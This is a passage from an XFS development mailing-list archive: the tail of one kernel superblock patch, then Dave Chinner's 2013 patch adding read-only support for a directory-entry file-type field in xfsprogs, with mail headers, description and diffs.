{ offsetof(xfs_sb_t, sb_rblocks), 0 }, + { offsetof(xfs_sb_t, sb_rextents), 0 }, + { offsetof(xfs_sb_t, sb_uuid), 1 }, + { offsetof(xfs_sb_t, sb_logstart), 0 }, + { offsetof(xfs_sb_t, sb_rootino), 0 }, + { offsetof(xfs_sb_t, sb_rbmino), 0 }, + { offsetof(xfs_sb_t, sb_rsumino), 0 }, + { offsetof(xfs_sb_t, sb_rextsize), 0 }, + { offsetof(xfs_sb_t, sb_agblocks), 0 }, + { offsetof(xfs_sb_t, sb_agcount), 0 }, + { offsetof(xfs_sb_t, sb_rbmblocks), 0 }, + { offsetof(xfs_sb_t, sb_logblocks), 0 }, + { offsetof(xfs_sb_t, sb_versionnum), 0 }, + { offsetof(xfs_sb_t, sb_sectsize), 0 }, + { offsetof(xfs_sb_t, sb_inodesize), 0 }, + { offsetof(xfs_sb_t, sb_inopblock), 0 }, + { offsetof(xfs_sb_t, sb_fname[0]), 1 }, + { offsetof(xfs_sb_t, sb_blocklog), 0 }, + { offsetof(xfs_sb_t, sb_sectlog), 0 }, + { offsetof(xfs_sb_t, sb_inodelog), 0 }, + { offsetof(xfs_sb_t, sb_inopblog), 0 }, + { offsetof(xfs_sb_t, sb_agblklog), 0 }, + { offsetof(xfs_sb_t, sb_rextslog), 0 }, + { offsetof(xfs_sb_t, sb_inprogress), 0 }, + { offsetof(xfs_sb_t, sb_imax_pct), 0 }, + { offsetof(xfs_sb_t, sb_icount), 0 }, + { offsetof(xfs_sb_t, sb_ifree), 0 }, + { offsetof(xfs_sb_t, sb_fdblocks), 0 }, + { offsetof(xfs_sb_t, sb_frextents), 0 }, + { offsetof(xfs_sb_t, sb_uquotino), 0 }, + { offsetof(xfs_sb_t, sb_gquotino), 0 }, + { offsetof(xfs_sb_t, sb_qflags), 0 }, + { offsetof(xfs_sb_t, sb_flags), 0 }, + { offsetof(xfs_sb_t, sb_shared_vn), 0 }, + { offsetof(xfs_sb_t, sb_inoalignmt), 0 }, + { offsetof(xfs_sb_t, sb_unit), 0 }, + { offsetof(xfs_sb_t, sb_width), 0 }, + { offsetof(xfs_sb_t, sb_dirblklog), 0 }, + { offsetof(xfs_sb_t, sb_logsectlog), 0 }, + { offsetof(xfs_sb_t, sb_logsectsize), 0 }, + { offsetof(xfs_sb_t, sb_logsunit), 0 }, + { offsetof(xfs_sb_t, sb_features2), 0 }, + { offsetof(xfs_sb_t, sb_bad_features2), 0 }, + { offsetof(xfs_sb_t, sb_features_compat), 0 }, + { offsetof(xfs_sb_t, sb_features_ro_compat), 0 }, + { offsetof(xfs_sb_t, sb_features_incompat), 0 }, + { offsetof(xfs_sb_t, sb_features_log_incompat), 0 }, + { offsetof(xfs_sb_t, sb_crc), 0 }, + { offsetof(xfs_sb_t, sb_pad), 0 }, + { offsetof(xfs_sb_t, sb_pquotino), 0 }, + { offsetof(xfs_sb_t, sb_lsn), 0 }, + { sizeof(xfs_sb_t), 0 } }; /* @@ -87,7 +90,9 @@ static const struct { * have to protect against changes is the tree structure itself. */ struct xfs_perag * -xfs_perag_get(struct xfs_mount *mp, xfs_agnumber_t agno) +xfs_perag_get( + struct xfs_mount *mp, + xfs_agnumber_t agno) { struct xfs_perag *pag; int ref = 0; @@ -103,8 +108,35 @@ xfs_perag_get(struct xfs_mount *mp, xfs_agnumber_t agno) return pag; } +/* + * search from @first to find the next perag with the given tag set. + */ +struct xfs_perag * +xfs_perag_get_tag( + struct xfs_mount *mp, + xfs_agnumber_t first, + int tag) +{ + struct xfs_perag *pag; + int found; + int ref; + + rcu_read_lock(); + found = radix_tree_gang_lookup_tag(&mp->m_perag_tree, + (void **)&pag, first, 1, tag); + if (found <= 0) { + rcu_read_unlock(); + return NULL; + } + ref = atomic_inc_return(&pag->pag_ref); + rcu_read_unlock(); + trace_xfs_perag_get_tag(mp, pag->pag_agno, ref, _RET_IP_); + return pag; +} + void -xfs_perag_put(struct xfs_perag *pag) +xfs_perag_put( + struct xfs_perag *pag) { int ref; @@ -144,7 +176,8 @@ xfs_mount_validate_sb( /* * Version 5 superblock feature mask validation. Reject combinations the - * kernel cannot support up front before checking anything else. + * kernel cannot support up front before checking anything else. For + * write validation, we don't need to check feature masks. */ if (check_version && XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5) { xfs_alert(mp, @@ -179,12 +212,17 @@ xfs_mount_validate_sb( } } - if ((sbp->sb_qflags & (XFS_OQUOTA_ENFD | XFS_OQUOTA_CHKD)) && - (sbp->sb_qflags & (XFS_PQUOTA_ENFD | XFS_GQUOTA_ENFD | - XFS_PQUOTA_CHKD | XFS_GQUOTA_CHKD))) { - xfs_warn(mp, -"Super block has XFS_OQUOTA bits along with XFS_PQUOTA and/or XFS_GQUOTA bits.\n"); - return XFS_ERROR(EFSCORRUPTED); + if (xfs_sb_version_has_pquotino(sbp)) { + if (sbp->sb_qflags & (XFS_OQUOTA_ENFD | XFS_OQUOTA_CHKD)) { + xfs_notice(mp, + "Version 5 of Super block has XFS_OQUOTA bits.\n"); + return XFS_ERROR(EFSCORRUPTED); + } + } else if (sbp->sb_qflags & (XFS_PQUOTA_ENFD | XFS_GQUOTA_ENFD | + XFS_PQUOTA_CHKD | XFS_GQUOTA_CHKD)) { + xfs_notice(mp, +"Superblock earlier than Version 5 has XFS_[PQ]UOTA_{ENFD|CHKD} bits.\n"); + return XFS_ERROR(EFSCORRUPTED); } if (unlikely( @@ -251,6 +289,13 @@ xfs_mount_validate_sb( return XFS_ERROR(ENOSYS); } + if (xfs_sb_validate_fsb_count(sbp, sbp->sb_dblocks) || + xfs_sb_validate_fsb_count(sbp, sbp->sb_rblocks)) { + xfs_warn(mp, + "file system too large to be mounted on this system."); + return XFS_ERROR(EFBIG); + } + /* * Version 1 directory format has never worked on Linux. */ @@ -263,8 +308,57 @@ xfs_mount_validate_sb( } void +xfs_sb_quota_from_disk(struct xfs_sb *sbp) +{ + /* + * older mkfs doesn't initialize quota inodes to NULLFSINO. This + * leads to in-core values having two different values for a quota + * inode to be invalid: 0 and NULLFSINO. Change it to a single value + * NULLFSINO. + * + * Note that this change affect only the in-core values. These + * values are not written back to disk unless any quota information + * is written to the disk. Even in that case, sb_pquotino field is + * not written to disk unless the superblock supports pquotino. + */ + if (sbp->sb_uquotino == 0) + sbp->sb_uquotino = NULLFSINO; + if (sbp->sb_gquotino == 0) + sbp->sb_gquotino = NULLFSINO; + if (sbp->sb_pquotino == 0) + sbp->sb_pquotino = NULLFSINO; + + /* + * We need to do these manipilations only if we are working + * with an older version of on-disk superblock. + */ + if (xfs_sb_version_has_pquotino(sbp)) + return; + + if (sbp->sb_qflags & XFS_OQUOTA_ENFD) + sbp->sb_qflags |= (sbp->sb_qflags & XFS_PQUOTA_ACCT) ? + XFS_PQUOTA_ENFD : XFS_GQUOTA_ENFD; + if (sbp->sb_qflags & XFS_OQUOTA_CHKD) + sbp->sb_qflags |= (sbp->sb_qflags & XFS_PQUOTA_ACCT) ? + XFS_PQUOTA_CHKD : XFS_GQUOTA_CHKD; + sbp->sb_qflags &= ~(XFS_OQUOTA_ENFD | XFS_OQUOTA_CHKD); + + if (sbp->sb_qflags & XFS_PQUOTA_ACCT) { + /* + * In older version of superblock, on-disk superblock only + * has sb_gquotino, and in-core superblock has both sb_gquotino + * and sb_pquotino. But, only one of them is supported at any + * point of time. So, if PQUOTA is set in disk superblock, + * copy over sb_gquotino to sb_pquotino. + */ + sbp->sb_pquotino = sbp->sb_gquotino; + sbp->sb_gquotino = NULLFSINO; + } +} + +void xfs_sb_from_disk( - xfs_sb_t *to, + struct xfs_sb *to, xfs_dsb_t *from) { to->sb_magicnum = be32_to_cpu(from->sb_magicnum); @@ -323,37 +417,6 @@ xfs_sb_from_disk( to->sb_lsn = be64_to_cpu(from->sb_lsn); } -static void -xfs_sb_quota_from_disk(struct xfs_sb *sbp) -{ - /* - * We need to do these manipilations only if we are working - * with an older version of on-disk superblock. - */ - if (xfs_sb_version_has_pquotino(sbp)) - return; - - if (sbp->sb_qflags & XFS_OQUOTA_ENFD) - sbp->sb_qflags |= (sbp->sb_qflags & XFS_PQUOTA_ACCT) ? - XFS_PQUOTA_ENFD : XFS_GQUOTA_ENFD; - if (sbp->sb_qflags & XFS_OQUOTA_CHKD) - sbp->sb_qflags |= (sbp->sb_qflags & XFS_PQUOTA_ACCT) ? - XFS_PQUOTA_CHKD : XFS_GQUOTA_CHKD; - sbp->sb_qflags &= ~(XFS_OQUOTA_ENFD | XFS_OQUOTA_CHKD); - - if (sbp->sb_qflags & XFS_PQUOTA_ACCT) { - /* - * In older version of superblock, on-disk superblock only - * has sb_gquotino, and in-core superblock has both sb_gquotino - * and sb_pquotino. But, only one of them is supported at any - * point of time. So, if PQUOTA is set in disk superblock, - * copy over sb_gquotino to sb_pquotino. - */ - sbp->sb_pquotino = sbp->sb_gquotino; - sbp->sb_gquotino = NULLFSINO; - } -} - static inline void xfs_sb_quota_to_disk( xfs_dsb_t *to, @@ -427,7 +490,6 @@ xfs_sb_to_disk( return; xfs_sb_quota_to_disk(to, from, &fields); - while (fields) { f = (xfs_sb_field_t)xfs_lowbit64((__uint64_t)fields); first = xfs_sb_info[f].offset; @@ -441,15 +503,15 @@ xfs_sb_to_disk( switch (size) { case 2: *(__be16 *)(to_ptr + first) = - cpu_to_be16(*(__u16 *)(from_ptr + first)); + cpu_to_be16(*(__u16 *)(from_ptr + first)); break; case 4: *(__be32 *)(to_ptr + first) = - cpu_to_be32(*(__u32 *)(from_ptr + first)); + cpu_to_be32(*(__u32 *)(from_ptr + first)); break; case 8: *(__be64 *)(to_ptr + first) = - cpu_to_be64(*(__u64 *)(from_ptr + first)); + cpu_to_be64(*(__u64 *)(from_ptr + first)); break; default: ASSERT(0); @@ -470,8 +532,6 @@ xfs_sb_verify( xfs_sb_from_disk(&sb, XFS_BUF_TO_SBP(bp)); - xfs_sb_quota_from_disk(&sb); - /* * Only check the in progress field for the primary superblock as * mkfs.xfs doesn't clear it from secondary superblocks. @@ -514,7 +574,8 @@ xfs_sb_read_verify( out_error: if (error) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, + mp, bp->b_addr); xfs_buf_ioerror(bp, error); } } @@ -522,7 +583,7 @@ out_error: /* * We may be probed for a filesystem match, so we may not want to emit * messages when the superblock buffer is not actually an XFS superblock. - * If we find an XFS superblock, the run a normal, noisy mount because we are + * If we find an XFS superblock, then run a normal, noisy mount because we are * really going to mount it and want to know about errors. */ static void @@ -551,7 +612,8 @@ xfs_sb_write_verify( error = xfs_sb_verify(bp, false); if (error) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, + mp, bp->b_addr); xfs_buf_ioerror(bp, error); return; } @@ -571,7 +633,7 @@ const struct xfs_buf_ops xfs_sb_buf_ops = { .verify_write = xfs_sb_write_verify, }; -static const struct xfs_buf_ops xfs_sb_quiet_buf_ops = { +const struct xfs_buf_ops xfs_sb_quiet_buf_ops = { .verify_read = xfs_sb_quiet_read_verify, .verify_write = xfs_sb_write_verify, }; @@ -582,11 +644,11 @@ static const struct xfs_buf_ops xfs_sb_quiet_buf_ops = { * Mount initialization code establishing various mount * fields from the superblock associated with the given * mount structure - * - * Note: this requires user-space public scope for libxfs_mount */ void -xfs_mount_common(xfs_mount_t *mp, xfs_sb_t *sbp) +xfs_sb_mount_common( + struct xfs_mount *mp, + struct xfs_sb *sbp) { mp->m_agfrotor = mp->m_agirotor = 0; spin_lock_init(&mp->m_agirotor_lock); @@ -628,11 +690,11 @@ xfs_mount_common(xfs_mount_t *mp, xfs_sb_t *sbp) * allocated inodes, free inodes and used filesystem blocks as this * information is no longer persistent in the superblock. Once we have * this information, write it into the in-core superblock structure. - * - * Note: this requires user-space public scope for libxfs_mount */ int -xfs_initialize_perag_data(xfs_mount_t *mp, xfs_agnumber_t agcount) +xfs_initialize_perag_data( + struct xfs_mount *mp, + xfs_agnumber_t agcount) { xfs_agnumber_t index; xfs_perag_t *pag; @@ -705,6 +767,7 @@ xfs_mod_sb(xfs_trans_t *tp, __int64_t fields) last = 0; /* translate/copy */ + xfs_sb_to_disk(XFS_BUF_TO_SBP(bp), &mp->m_sb, fields); /* find modified range */ From david@fromorbit.com Tue Sep 10 16:34:36 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id ACCC67F53 for ; Tue, 10 Sep 2013 16:34:36 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8A0AB8F8059 for ; Tue, 10 Sep 2013 14:34:36 -0700 (PDT) X-ASG-Debug-ID: 1378848869-04cb6c37776a510001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id EgynpaItDYTE8w0D for ; Tue, 10 Sep 2013 14:34:30 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AqsNAGmPL1J5Lapl/2dsb2JhbABbgwc4gxKrXgOOf4VAgSUXdIIlAQEFGgEMExwzCBgMDBkPBSUDNIgBwyEWj0wKgxOBAAOUHINZgTCQPIMyKoEsAh4EAg Received: from ppp121-45-170-101.lns20.syd6.internode.on.net (HELO dastard) ([121.45.170.101]) by ipmail07.adl2.internode.on.net with ESMTP; 11 Sep 2013 07:04:27 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VJVZn-0006l2-3x for xfs@oss.sgi.com; Wed, 11 Sep 2013 07:34:23 +1000 Date: Wed, 11 Sep 2013 07:34:23 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 47/55 V2] xfs: Add read-only support for dirent filetype field Message-ID: <20130910213423.GD19103@dastard> X-ASG-Orig-Subj: [PATCH 47/55 V2] xfs: Add read-only support for dirent filetype field References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-48-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1378332359-14737-48-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1378848869 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140506 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- xfs: Add read-only support for dirent filetype field From: Dave Chinner Add support for the file type field in directory entries so that readdir can return the type of the inode the dirent points to to userspace without first having to read the inode off disk. The encoding of the type field is a single byte that is added to the end of the directory entry name length. For all intents and purposes, it appends a "hidden" byte to the name field which contains the type information. As the directory entry is already of dynamic size, helpers are already required to access and decode the direct entry structures. Hence the relevent extraction and iteration helpers are updated to understand the hidden byte. Helpers for reading and writing the filetype field from the directory entries are also added. Only the read helpers are used by this patch. It also adds all the code necessary to read the type information out of the dirents on disk. Further we add the superblock feature bit and helpers to indicate that we understand the on-disk format change. This is not a compatible change - existing kernels cannot read the new format successfully - so an incompatible feature flag is added. We don't yet allow filesystems to mount with this flag yet - that will be added once write support is added. Finally, the code to take the type from the VFS, convert it to an XFS on-disk type and put it into the xfs_name structures passed around is added, but the directory code does not use this field yet. That will be in the next patch. Signed-off-by: Dave Chinner --- V2: rebase for changes in xfs_sb.h earlier in series as a result of review comments. db/check.c | 12 +-- db/dir2.c | 10 +-- db/dir2sf.c | 9 ++- db/metadump.c | 10 +-- include/xfs_da_btree.h | 1 + include/xfs_dir2.h | 9 ++- include/xfs_dir2_format.h | 183 ++++++++++++++++++++++++++++++++++++++++------ include/xfs_sb.h | 23 ++++-- include/xfs_types.h | 1 + libxfs/xfs_dir2.c | 5 +- libxfs/xfs_dir2_block.c | 18 ++--- libxfs/xfs_dir2_data.c | 13 ++-- libxfs/xfs_dir2_leaf.c | 6 +- libxfs/xfs_dir2_node.c | 8 +- libxfs/xfs_dir2_priv.h | 44 +++++------ libxfs/xfs_dir2_sf.c | 122 ++++++++++++++++++------------- logprint/log_misc.c | 58 ++++++++------- repair/dir2.c | 37 +++++----- repair/dir2.h | 1 + repair/phase6.c | 22 +++--- 20 files changed, 381 insertions(+), 211 deletions(-) diff --git a/db/check.c b/db/check.c index cbe55ba..2d4718d 100644 --- a/db/check.c +++ b/db/check.c @@ -2310,7 +2310,7 @@ process_data_dir_v2( (int)((char *)dep - (char *)data)); error++; } - tagp = xfs_dir2_data_entry_tag_p(dep); + tagp = xfs_dir3_data_entry_tag_p(mp, dep); if ((char *)tagp >= endptr) { if (!sflag || v) dbprintf(_("dir %lld block %d bad entry at %d\n"), @@ -2325,7 +2325,7 @@ process_data_dir_v2( xname.name = dep->name; xname.len = dep->namelen; dir_hash_add(mp->m_dirnameops->hashname(&xname), addr); - ptr += xfs_dir2_data_entsize(dep->namelen); + ptr += xfs_dir3_data_entsize(mp, dep->namelen); count++; lastfree = 0; lino = be64_to_cpu(dep->inumber); @@ -3436,7 +3436,7 @@ process_sf_dir_v2( sfe = xfs_dir2_sf_firstentry(sf); offset = XFS_DIR3_DATA_FIRST_OFFSET(mp); for (i = sf->count - 1, i8 = 0; i >= 0; i--) { - if ((__psint_t)sfe + xfs_dir2_sf_entsize(sf, sfe->namelen) - + if ((__psint_t)sfe + xfs_dir3_sf_entsize(mp, sf, sfe->namelen) - (__psint_t)sf > be64_to_cpu(dip->di_size)) { if (!sflag) dbprintf(_("dir %llu bad size in entry at %d\n"), @@ -3445,7 +3445,7 @@ process_sf_dir_v2( error++; break; } - lino = xfs_dir2_sfe_get_ino(sf, sfe); + lino = xfs_dir3_sfe_get_ino(mp, sf, sfe); if (lino > XFS_DIR2_MAX_SHORT_INUM) i8++; cid = find_inode(lino, 1); @@ -3475,8 +3475,8 @@ process_sf_dir_v2( } offset = xfs_dir2_sf_get_offset(sfe) + - xfs_dir2_sf_entsize(sf, sfe->namelen); - sfe = xfs_dir2_sf_nextentry(sf, sfe); + xfs_dir3_sf_entsize(mp, sf, sfe->namelen); + sfe = xfs_dir3_sf_nextentry(mp, sf, sfe); } if (i < 0 && (__psint_t)sfe - (__psint_t)sf != be64_to_cpu(dip->di_size)) { diff --git a/db/dir2.c b/db/dir2.c index 85240b0..39042b3 100644 --- a/db/dir2.c +++ b/db/dir2.c @@ -222,7 +222,7 @@ __dir2_data_entries_count( ptr += be16_to_cpu(dup->length); else { dep = (xfs_dir2_data_entry_t *)ptr; - ptr += xfs_dir2_data_entsize(dep->namelen); + ptr += xfs_dir3_data_entsize(mp, dep->namelen); } } return i; @@ -246,7 +246,7 @@ __dir2_data_entry_offset( ptr += be16_to_cpu(dup->length); else { dep = (xfs_dir2_data_entry_t *)ptr; - ptr += xfs_dir2_data_entsize(dep->namelen); + ptr += xfs_dir3_data_entsize(mp, dep->namelen); } } return ptr; @@ -495,7 +495,7 @@ dir2_data_union_tag_count( end = (char *)&dep->namelen + sizeof(dep->namelen); if (end > (char *)obj + mp->m_dirblksize) return 0; - tagp = xfs_dir2_data_entry_tag_p(dep); + tagp = xfs_dir3_data_entry_tag_p(mp, dep); } end = (char *)tagp + sizeof(*tagp); return end <= (char *)obj + mp->m_dirblksize; @@ -517,7 +517,7 @@ dir2_data_union_tag_offset( return bitize((int)((char *)xfs_dir2_data_unused_tag_p(dup) - (char *)dup)); dep = (xfs_dir2_data_entry_t *)dup; - return bitize((int)((char *)xfs_dir2_data_entry_tag_p(dep) - + return bitize((int)((char *)xfs_dir3_data_entry_tag_p(mp, dep) - (char *)dep)); } @@ -592,7 +592,7 @@ dir2_data_union_size( return bitize(be16_to_cpu(dup->length)); else { dep = (xfs_dir2_data_entry_t *)dup; - return bitize(xfs_dir2_data_entsize(dep->namelen)); + return bitize(xfs_dir3_data_entsize(mp, dep->namelen)); } } diff --git a/db/dir2sf.c b/db/dir2sf.c index b32ca32..d628641 100644 --- a/db/dir2sf.c +++ b/db/dir2sf.c @@ -24,6 +24,7 @@ #include "bit.h" #include "dir2.h" #include "dir2sf.h" +#include "init.h" static int dir2_inou_i4_count(void *obj, int startoff); static int dir2_inou_i8_count(void *obj, int startoff); @@ -155,8 +156,8 @@ dir2_sf_entry_size( sf = (struct xfs_dir2_sf_hdr *)((char *)obj + byteize(startoff)); e = xfs_dir2_sf_firstentry(sf); for (i = 0; i < idx; i++) - e = xfs_dir2_sf_nextentry(sf, e); - return bitize((int)xfs_dir2_sf_entsize(sf, e->namelen)); + e = xfs_dir3_sf_nextentry(mp, sf, e); + return bitize((int)xfs_dir3_sf_entsize(mp, sf, e->namelen)); } /*ARGSUSED*/ @@ -200,7 +201,7 @@ dir2_sf_list_offset( sf = (struct xfs_dir2_sf_hdr *)((char *)obj + byteize(startoff)); e = xfs_dir2_sf_firstentry(sf); for (i = 0; i < idx; i++) - e = xfs_dir2_sf_nextentry(sf, e); + e = xfs_dir3_sf_nextentry(mp, sf, e); return bitize((int)((char *)e - (char *)sf)); } @@ -220,6 +221,6 @@ dir2sf_size( sf = (struct xfs_dir2_sf_hdr *)((char *)obj + byteize(startoff)); e = xfs_dir2_sf_firstentry(sf); for (i = 0; i < sf->count; i++) - e = xfs_dir2_sf_nextentry(sf, e); + e = xfs_dir3_sf_nextentry(mp, sf, e); return bitize((int)((char *)e - (char *)sf)); } diff --git a/db/metadump.c b/db/metadump.c index a170bb5..ac6a4d6 100644 --- a/db/metadump.c +++ b/db/metadump.c @@ -939,7 +939,7 @@ obfuscate_sf_dir( namelen = ino_dir_size - ((char *)&sfep->name[0] - (char *)sfp); } else if ((char *)sfep - (char *)sfp + - xfs_dir2_sf_entsize(sfp, sfep->namelen) > + xfs_dir3_sf_entsize(mp, sfp, sfep->namelen) > ino_dir_size) { if (show_warnings) print_warning("entry length in dir inode %llu " @@ -950,11 +950,11 @@ obfuscate_sf_dir( (char *)sfp); } - generate_obfuscated_name(xfs_dir2_sfe_get_ino(sfp, sfep), + generate_obfuscated_name(xfs_dir3_sfe_get_ino(mp, sfp, sfep), namelen, &sfep->name[0]); sfep = (xfs_dir2_sf_entry_t *)((char *)sfep + - xfs_dir2_sf_entsize(sfp, namelen)); + xfs_dir3_sf_entsize(mp, sfp, namelen)); } } @@ -1184,7 +1184,7 @@ obfuscate_dir_data_blocks( } dep = (xfs_dir2_data_entry_t *)ptr; - length = xfs_dir2_data_entsize(dep->namelen); + length = xfs_dir3_data_entsize(mp, dep->namelen); if (dir_offset + length > dir_data.end_of_data || ptr + length > endptr) { @@ -1194,7 +1194,7 @@ obfuscate_dir_data_blocks( (long long)cur_ino); break; } - if (be16_to_cpu(*xfs_dir2_data_entry_tag_p(dep)) != + if (be16_to_cpu(*xfs_dir3_data_entry_tag_p(mp, dep)) != dir_offset) { dir_data.bad_block = 1; break; diff --git a/include/xfs_da_btree.h b/include/xfs_da_btree.h index 6fb3371..8cdc77b 100644 --- a/include/xfs_da_btree.h +++ b/include/xfs_da_btree.h @@ -176,6 +176,7 @@ enum xfs_dacmp { typedef struct xfs_da_args { const __uint8_t *name; /* string (maybe not NULL terminated) */ int namelen; /* length of string (maybe no NULL) */ + __uint8_t filetype; /* filetype of inode for directories */ __uint8_t *value; /* set of bytes (maybe contain NULLs) */ int valuelen; /* length of value */ int flags; /* argument flags (eg: ATTR_NOCREATE) */ diff --git a/include/xfs_dir2.h b/include/xfs_dir2.h index 7fe2b8f..9910401 100644 --- a/include/xfs_dir2.h +++ b/include/xfs_dir2.h @@ -68,10 +68,11 @@ extern int xfs_dir2_sf_to_block(struct xfs_da_args *args); extern xfs_ino_t xfs_dir2_sf_get_parent_ino(struct xfs_dir2_sf_hdr *sfp); extern void xfs_dir2_sf_put_parent_ino(struct xfs_dir2_sf_hdr *sfp, xfs_ino_t ino); -extern xfs_ino_t xfs_dir2_sfe_get_ino(struct xfs_dir2_sf_hdr *sfp, - struct xfs_dir2_sf_entry *sfep); -extern void xfs_dir2_sfe_put_ino( struct xfs_dir2_sf_hdr *, - struct xfs_dir2_sf_entry *sfep, xfs_ino_t ino); +extern xfs_ino_t xfs_dir3_sfe_get_ino(struct xfs_mount *mp, + struct xfs_dir2_sf_hdr *sfp, struct xfs_dir2_sf_entry *sfep); +extern void xfs_dir3_sfe_put_ino(struct xfs_mount *mp, + struct xfs_dir2_sf_hdr *hdr, struct xfs_dir2_sf_entry *sfep, + xfs_ino_t ino); extern int xfs_dir2_isblock(struct xfs_trans *tp, struct xfs_inode *dp, int *r); extern int xfs_dir2_isleaf(struct xfs_trans *tp, struct xfs_inode *dp, int *r); diff --git a/include/xfs_dir2_format.h b/include/xfs_dir2_format.h index 2095e17..a0961a6 100644 --- a/include/xfs_dir2_format.h +++ b/include/xfs_dir2_format.h @@ -69,6 +69,23 @@ #define XFS_DIR3_FREE_MAGIC 0x58444633 /* XDF3: free index blocks */ /* + * Dirents in version 3 directories have a file type field. Additions to this + * list are an on-disk format change, requiring feature bits. Valid values + * are as follows: + */ +#define XFS_DIR3_FT_UNKNOWN 0 +#define XFS_DIR3_FT_REG_FILE 1 +#define XFS_DIR3_FT_DIR 2 +#define XFS_DIR3_FT_CHRDEV 3 +#define XFS_DIR3_FT_BLKDEV 4 +#define XFS_DIR3_FT_FIFO 5 +#define XFS_DIR3_FT_SOCK 6 +#define XFS_DIR3_FT_SYMLINK 7 +#define XFS_DIR3_FT_WHT 8 + +#define XFS_DIR3_FT_MAX 9 + +/* * Byte offset in data block and shortform entry. */ typedef __uint16_t xfs_dir2_data_off_t; @@ -138,6 +155,9 @@ typedef struct xfs_dir2_sf_entry { xfs_dir2_sf_off_t offset; /* saved offset */ __u8 name[]; /* name, variable size */ /* + * A single byte containing the file type field follows the inode + * number for version 3 directory entries. + * * A xfs_dir2_ino8_t or xfs_dir2_ino4_t follows here, at a * variable offset after the name. */ @@ -162,16 +182,6 @@ xfs_dir2_sf_put_offset(xfs_dir2_sf_entry_t *sfep, xfs_dir2_data_aoff_t off) put_unaligned_be16(off, &sfep->offset.i); } -static inline int -xfs_dir2_sf_entsize(struct xfs_dir2_sf_hdr *hdr, int len) -{ - return sizeof(struct xfs_dir2_sf_entry) + /* namelen + offset */ - len + /* name */ - (hdr->i8count ? /* ino */ - sizeof(xfs_dir2_ino8_t) : - sizeof(xfs_dir2_ino4_t)); -} - static inline struct xfs_dir2_sf_entry * xfs_dir2_sf_firstentry(struct xfs_dir2_sf_hdr *hdr) { @@ -179,14 +189,78 @@ xfs_dir2_sf_firstentry(struct xfs_dir2_sf_hdr *hdr) ((char *)hdr + xfs_dir2_sf_hdr_size(hdr->i8count)); } +static inline int +xfs_dir3_sf_entsize( + struct xfs_mount *mp, + struct xfs_dir2_sf_hdr *hdr, + int len) +{ + int count = sizeof(struct xfs_dir2_sf_entry); /* namelen + offset */ + + count += len; /* name */ + count += hdr->i8count ? sizeof(xfs_dir2_ino8_t) : + sizeof(xfs_dir2_ino4_t); /* ino # */ + if (xfs_sb_version_hasftype(&mp->m_sb)) + count += sizeof(__uint8_t); /* file type */ + return count; +} + static inline struct xfs_dir2_sf_entry * -xfs_dir2_sf_nextentry(struct xfs_dir2_sf_hdr *hdr, - struct xfs_dir2_sf_entry *sfep) +xfs_dir3_sf_nextentry( + struct xfs_mount *mp, + struct xfs_dir2_sf_hdr *hdr, + struct xfs_dir2_sf_entry *sfep) { return (struct xfs_dir2_sf_entry *) - ((char *)sfep + xfs_dir2_sf_entsize(hdr, sfep->namelen)); + ((char *)sfep + xfs_dir3_sf_entsize(mp, hdr, sfep->namelen)); } +/* + * in dir3 shortform directories, the file type field is stored at a variable + * offset after the inode number. Because it's only a single byte, endian + * conversion is not necessary. + */ +static inline __uint8_t * +xfs_dir3_sfe_ftypep( + struct xfs_dir2_sf_hdr *hdr, + struct xfs_dir2_sf_entry *sfep) +{ + return (__uint8_t *)&sfep->name[sfep->namelen]; +} + +static inline __uint8_t +xfs_dir3_sfe_get_ftype( + struct xfs_mount *mp, + struct xfs_dir2_sf_hdr *hdr, + struct xfs_dir2_sf_entry *sfep) +{ + __uint8_t *ftp; + + if (!xfs_sb_version_hasftype(&mp->m_sb)) + return XFS_DIR3_FT_UNKNOWN; + + ftp = xfs_dir3_sfe_ftypep(hdr, sfep); + if (*ftp >= XFS_DIR3_FT_MAX) + return XFS_DIR3_FT_UNKNOWN; + return *ftp; +} + +static inline void +xfs_dir3_sfe_put_ftype( + struct xfs_mount *mp, + struct xfs_dir2_sf_hdr *hdr, + struct xfs_dir2_sf_entry *sfep, + __uint8_t ftype) +{ + __uint8_t *ftp; + + ASSERT(ftype < XFS_DIR3_FT_MAX); + + if (!xfs_sb_version_hasftype(&mp->m_sb)) + return; + ftp = xfs_dir3_sfe_ftypep(hdr, sfep); + *ftp = ftype; +} /* * Data block structures. @@ -286,12 